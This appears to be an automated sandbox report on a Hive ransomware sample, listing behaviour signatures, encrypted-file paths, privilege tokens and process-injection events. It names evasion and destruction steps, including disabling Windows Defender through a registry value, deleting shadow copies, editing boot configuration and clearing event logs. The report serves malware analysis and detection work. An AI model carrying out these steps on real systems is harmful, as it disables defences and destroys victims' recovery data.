Malware Analysis Report

2024-10-16 03:12

Sample ID 220112-txxtmsdcfq
Target 87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.7z
SHA256 f5901bbb194aa6146a6e7b52ed7901bdd33e3ceaedace85e6499fd15e61c6afe
Tags
evasion ransomware spyware stealer trojan hive
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V6

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

f5901bbb194aa6146a6e7b52ed7901bdd33e3ceaedace85e6499fd15e61c6afe

Threat Level: Known bad

The file 87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.7z was found to be: Known bad.

Malicious Activity Summary

evasion ransomware spyware stealer trojan hive

Hive

Modifies security service

Modifies Windows Defender Real-time Protection settings

Deletes Windows Defender Definitions

Deletes shadow copies

Modifies boot configuration data using bcdedit

Clears Windows event logs

Reads user/profile data of web browsers

Drops file in Program Files directory

Launches sc.exe

Suspicious use of WriteProcessMemory

Runs net.exe

Opens file in notepad (likely ransom note)

Modifies registry class

Suspicious behavior: EnumeratesProcesses

Runs ping.exe

Suspicious use of AdjustPrivilegeToken

Interacts with shadow copies

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2022-01-12 16:26

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2022-01-12 16:26

Reported

2022-01-12 16:31

Platform

win7-en-20211208

Max time kernel

119s

Max time network

122s

Command Line

"C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe"

Signatures

Deletes Windows Defender Definitions

evasion
Description Indicator Process Target
N/A N/A C:\Program Files\Windows Defender\MpCmdRun.exe N/A

Modifies Windows Defender Real-time Protection settings

evasion trojan

Modifies security service

evasion
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WinDefend\Start = "4" C:\Windows\system32\reg.exe N/A

Clears Windows event logs

evasion ransomware

Deletes shadow copies

ransomware

Modifies boot configuration data using bcdedit

ransomware evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\bcdedit.exe N/A
N/A N/A C:\Windows\system32\bcdedit.exe N/A

Reads user/profile data of web browsers

spyware stealer

Drops file in Program Files directory

Description Indicator Process Target
File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\NextMenuButtonIcon.png C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0105246.WMF.1-fKY5lXdu1z6P_7NETFzhrpX1LagPZY36ywPGNs1Nf_IAAAACAAAAA0.bvddx C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\MSACCESS_COL.HXC.1-fKY5lXdu1z6P_7NETFzhrpX1LagPZY36ywPGNs1Nf_AAAAAAAAAAA0.bvddx C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\org-netbeans-modules-profiler-selector-ui.jar.1-fKY5lXdu1z6P_7NETFzhrpX1LagPZY36ywPGNs1Nf_AAAAAAAAAAA0.bvddx C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0152414.WMF.1-fKY5lXdu1z6P_7NETFzhrpX1LagPZY36ywPGNs1Nf_AAAAAAAAAAA0.bvddx C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\PE00640_.WMF.1-fKY5lXdu1z6P_7NETFzhrpX1LagPZY36ywPGNs1Nf_IAAAACAAAAA0.bvddx C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\rtf_pressed.gif.1-fKY5lXdu1z6P_7NETFzhrpX1LagPZY36ywPGNs1Nf_IAAAACAAAAA0.bvddx C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PROOF\MSHY7EN.LEX.1-fKY5lXdu1z6P_7NETFzhrpX1LagPZY36ywPGNs1Nf_IAAAACAAAAA0.bvddx C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\whitevignette1047.png C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files\Windows Media Player\es-ES\mpvis.dll.mui C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\ONENOTE.HXS.1-fKY5lXdu1z6P_7NETFzhrpX1LagPZY36ywPGNs1Nf_IAAAACAAAAA0.bvddx C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME26.CSS.1-fKY5lXdu1z6P_7NETFzhrpX1LagPZY36ywPGNs1Nf_AAAAAAAAAAA0.bvddx C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\FORMS\1033\SCHDRESN.CFG.1-fKY5lXdu1z6P_7NETFzhrpX1LagPZY36ywPGNs1Nf_AAAAAAAAAAA0.bvddx C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\PUBSPAPR\PDIR5F.GIF.1-fKY5lXdu1z6P_7NETFzhrpX1LagPZY36ywPGNs1Nf_AAAAAAAAAAA0.bvddx C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\PicturePuzzle.Gadget\Images\6.png C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Fortaleza.1-fKY5lXdu1z6P_7NETFzhrpX1LagPZY36ywPGNs1Nf_AAAAAAAAAAA0.bvddx C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Legal\ENU\license.html.1-fKY5lXdu1z6P_7NETFzhrpX1LagPZY36ywPGNs1Nf_AAAAAAAAAAA0.bvddx C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files (x86)\Common Files\microsoft shared\VSTO\ActionsPane3.xsd.1-fKY5lXdu1z6P_7NETFzhrpX1LagPZY36ywPGNs1Nf_IAAAACAAAAA0.bvddx C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\TR00482_.WMF.1-fKY5lXdu1z6P_7NETFzhrpX1LagPZY36ywPGNs1Nf_AAAAAAAAAAA0.bvddx C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\MEDIA\CAGCAT10\J0195812.WMF.1-fKY5lXdu1z6P_7NETFzhrpX1LagPZY36ywPGNs1Nf_AAAAAAAAAAA0.bvddx C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files\Common Files\System\Ole DB\fr-FR\oledb32r.dll.mui C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\MST7MDT.1-fKY5lXdu1z6P_7NETFzhrpX1LagPZY36ywPGNs1Nf_AAAAAAAAAAA0.bvddx C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\PSWAVY.WMF.1-fKY5lXdu1z6P_7NETFzhrpX1LagPZY36ywPGNs1Nf_AAAAAAAAAAA0.bvddx C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\AUTOSHAP\BD18244_.WMF.1-fKY5lXdu1z6P_7NETFzhrpX1LagPZY36ywPGNs1Nf_AAAAAAAAAAA0.bvddx C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\OUTLOOK_COL.HXT.1-fKY5lXdu1z6P_7NETFzhrpX1LagPZY36ywPGNs1Nf_AAAAAAAAAAA0.bvddx C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files\Windows Sidebar\Gadgets\Calendar.Gadget\en-US\js\calendar.js C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\engphon.env C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0145707.JPG.1-fKY5lXdu1z6P_7NETFzhrpX1LagPZY36ywPGNs1Nf_AAAAAAAAAAA0.bvddx C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0382942.JPG.1-fKY5lXdu1z6P_7NETFzhrpX1LagPZY36ywPGNs1Nf_IAAAACAAAAA0.bvddx C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\OutlookAutoDiscover\YAHOO.COM.TW.XML.1-fKY5lXdu1z6P_7NETFzhrpX1LagPZY36ywPGNs1Nf_AAAAAAAAAAA0.bvddx C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files (x86)\Windows Photo Viewer\en-US\PhotoAcq.dll.mui C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\Currency.Gadget\images\base-undocked-4.png C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\RSSFeeds.Gadget\images\rssLogo.gif C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files\Common Files\System\ado\msadox28.tlb C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Iqaluit.1-fKY5lXdu1z6P_7NETFzhrpX1LagPZY36ywPGNs1Nf_AAAAAAAAAAA0.bvddx C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\rarrow.gif.1-fKY5lXdu1z6P_7NETFzhrpX1LagPZY36ywPGNs1Nf_IAAAACAAAAA0.bvddx C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.model.workbench.nl_ja_4.4.0.v20140623020002.jar.1-fKY5lXdu1z6P_7NETFzhrpX1LagPZY36ywPGNs1Nf_IAAAACAAAAA0.bvddx C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files (x86)\Common Files\microsoft shared\OFFICE14\Office Setup Controller\Office64.en-us\Office64MUI.XML.1-fKY5lXdu1z6P_7NETFzhrpX1LagPZY36ywPGNs1Nf_AAAAAAAAAAA0.bvddx C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.apache.felix.gogo.command_0.10.0.v201209301215.jar.1-fKY5lXdu1z6P_7NETFzhrpX1LagPZY36ywPGNs1Nf_AAAAAAAAAAA0.bvddx C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Winnipeg.1-fKY5lXdu1z6P_7NETFzhrpX1LagPZY36ywPGNs1Nf_IAAAACAAAAA0.bvddx C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0099197.GIF.1-fKY5lXdu1z6P_7NETFzhrpX1LagPZY36ywPGNs1Nf_AAAAAAAAAAA0.bvddx C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\FormsStyles\BrightOrange\background.gif.1-fKY5lXdu1z6P_7NETFzhrpX1LagPZY36ywPGNs1Nf_IAAAACAAAAA0.bvddx C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FormsStyles\GreenTea.css.1-fKY5lXdu1z6P_7NETFzhrpX1LagPZY36ywPGNs1Nf_IAAAACAAAAA0.bvddx C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.ssl.feature_1.0.0.v20140827-1444\about.html.1-fKY5lXdu1z6P_7NETFzhrpX1LagPZY36ywPGNs1Nf_AAAAAAAAAAA0.bvddx C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files\Java\jre7\lib\zi\Africa\Nairobi.1-fKY5lXdu1z6P_7NETFzhrpX1LagPZY36ywPGNs1Nf_IAAAACAAAAA0.bvddx C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Document Themes 14\Theme Fonts\Metro.xml.1-fKY5lXdu1z6P_7NETFzhrpX1LagPZY36ywPGNs1Nf_AAAAAAAAAAA0.bvddx C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\ACCWIZ\UTILITY.ACCDA.1-fKY5lXdu1z6P_7NETFzhrpX1LagPZY36ywPGNs1Nf_AAAAAAAAAAA0.bvddx C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\Weather.Gadget\images\undocked_gray_cloudy.png C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\az.txt.1-fKY5lXdu1z6P_7NETFzhrpX1LagPZY36ywPGNs1Nf_IAAAACAAAAA0.bvddx C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Nome.1-fKY5lXdu1z6P_7NETFzhrpX1LagPZY36ywPGNs1Nf_IAAAACAAAAA0.bvddx C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files\Windows Sidebar\Gadgets\RSSFeeds.Gadget\de-DE\css\RSSFeeds.css C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\Weather.Gadget\es-ES\css\weather.css C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FormsStyles\Desert\TAB_ON.GIF.1-fKY5lXdu1z6P_7NETFzhrpX1LagPZY36ywPGNs1Nf_AAAAAAAAAAA0.bvddx C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\btn-previous-static.png C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files (x86)\Common Files\microsoft shared\THEMES14\ECHO\THMBNAIL.PNG.1-fKY5lXdu1z6P_7NETFzhrpX1LagPZY36ywPGNs1Nf_AAAAAAAAAAA0.bvddx C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0107482.WMF.1-fKY5lXdu1z6P_7NETFzhrpX1LagPZY36ywPGNs1Nf_AAAAAAAAAAA0.bvddx C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SO02022_.WMF.1-fKY5lXdu1z6P_7NETFzhrpX1LagPZY36ywPGNs1Nf_IAAAACAAAAA0.bvddx C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\Publisher\Backgrounds\J0143743.GIF.1-fKY5lXdu1z6P_7NETFzhrpX1LagPZY36ywPGNs1Nf_AAAAAAAAAAA0.bvddx C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Atlantic\Faroe.1-fKY5lXdu1z6P_7NETFzhrpX1LagPZY36ywPGNs1Nf_IAAAACAAAAA0.bvddx C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-keyring.jar.1-fKY5lXdu1z6P_7NETFzhrpX1LagPZY36ywPGNs1Nf_IAAAACAAAAA0.bvddx C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files\Windows Sidebar\Gadgets\MediaCenter.Gadget\images\button_right_mouseout.png C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0105338.WMF.1-fKY5lXdu1z6P_7NETFzhrpX1LagPZY36ywPGNs1Nf_AAAAAAAAAAA0.bvddx C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\ParentMenuButtonIconSubpict.png C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\BULLETS\BD14791_.GIF.1-fKY5lXdu1z6P_7NETFzhrpX1LagPZY36ywPGNs1Nf_IAAAACAAAAA0.bvddx C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A

Launches sc.exe

Interacts with shadow copies

ransomware
Description Indicator Process Target
N/A N/A C:\Windows\system32\vssadmin.exe N/A

Runs net.exe

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeSecurityPrivilege N/A C:\Windows\system32\wevtutil.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\wevtutil.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\system32\wevtutil.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\wevtutil.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\system32\wevtutil.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\wevtutil.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1580 wrote to memory of 1248 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\system32\net.exe
PID 1580 wrote to memory of 1248 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\system32\net.exe
PID 1580 wrote to memory of 1248 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\system32\net.exe
PID 1248 wrote to memory of 2044 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1248 wrote to memory of 2044 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1248 wrote to memory of 2044 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1580 wrote to memory of 672 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\system32\net.exe
PID 1580 wrote to memory of 672 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\system32\net.exe
PID 1580 wrote to memory of 672 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\system32\net.exe
PID 672 wrote to memory of 2040 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 672 wrote to memory of 2040 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 672 wrote to memory of 2040 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
